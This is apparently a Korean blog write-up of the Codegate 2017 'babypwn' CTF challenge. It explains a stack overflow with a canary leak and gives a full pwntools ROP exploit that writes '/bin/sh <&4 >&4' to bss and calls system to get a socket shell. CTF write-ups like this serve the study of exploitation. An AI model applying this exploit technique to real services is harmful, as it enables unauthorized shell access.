'babypwn'에 해당되는 글 1건

codegate 2017에 출시되었던 babypwn 문제이다.  단순한 BOF문제 였다.



 

 




핵심 코드는 이 두가지다.

v2 는 ebp로부터 0x34만큼 떨어져 있지만 recv르 100만큼 받으므로 buffer overflow가 난다.

v3은 카나리가 있는 것을 확인할 수있는데 v2를 recv한후 다시 v2를 send로 출력시켜 줌으로  카나리 릭을 할 수 있다.





카나리릭이 된다는 것을 확인할 수 있었다.

이제 카나리 릭이 됨으로 ROP를 이용해서 exploit을 하면 된다.

bss에 "/bin/sh <&4 >&4"(소켓이므로 파일디스크립터를 신경쓰자)를 넣고 

system을 호출시켰다. system함수가 구현되어 있어서 릭은 필요가 없었다.(만세)!



exploit은 다음과 같이 구현하였다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# !/usr/bin/env python
# powerprove
 
from pwn import *
 
recv_some = 0x8048907
send_some = 0x80488B1
bss = 0x804B1B4
ppr = 0x8048b84
 
def Echo(payload):
        s.recvuntil(" menu > ")
    s.sendline("1")
    s.recvuntil("Input Your Message : ")
    s.sendline(payload)
    s.recvuntil("\n")
 
 
if __name__ == "__main__":
 
    s = remote("localhost"4000)
 
    g = log.progress("hack")
    g.status("canary_leak")
 
    payload = "A"*40
    Echo(payload)
 
    canary = u32(s.recvuntil("\n")[:-1].rjust(4,"\x00"))
    log.info("canary         : "+str(hex(canary)))
    g.status("rop!")
 
    payload = "A"*40
    payload += p32(canary)
    payload += "A"*12
    payload += p32(recv_some)
    payload += p32(ppr)
    payload += p32(bss)
    payload += p32(0x100)
    payload += p32(0x8048620)
    payload += p32(0xDEADBEEF)
    payload += p32(bss)
    Echo(payload)
 
        s.recvuntil(" menu > ")
    s.sendline("3")
    s.sendline("/bin/sh <&4 >&4\x00")
    g.success()
 
    s.interactive()
cs


'CTF > 2017' 카테고리의 다른 글

허스트 CTF pwn write up  (0) 2017.05.31
DEFCON_2017 beatmeonthedl  (0) 2017.05.07
DEFCON - smashme  (0) 2017.05.07
[codegate final] petshop  (0) 2017.04.28
codegate 2017 - messenger write up  (0) 2017.04.05
블로그 이미지

powerprove

,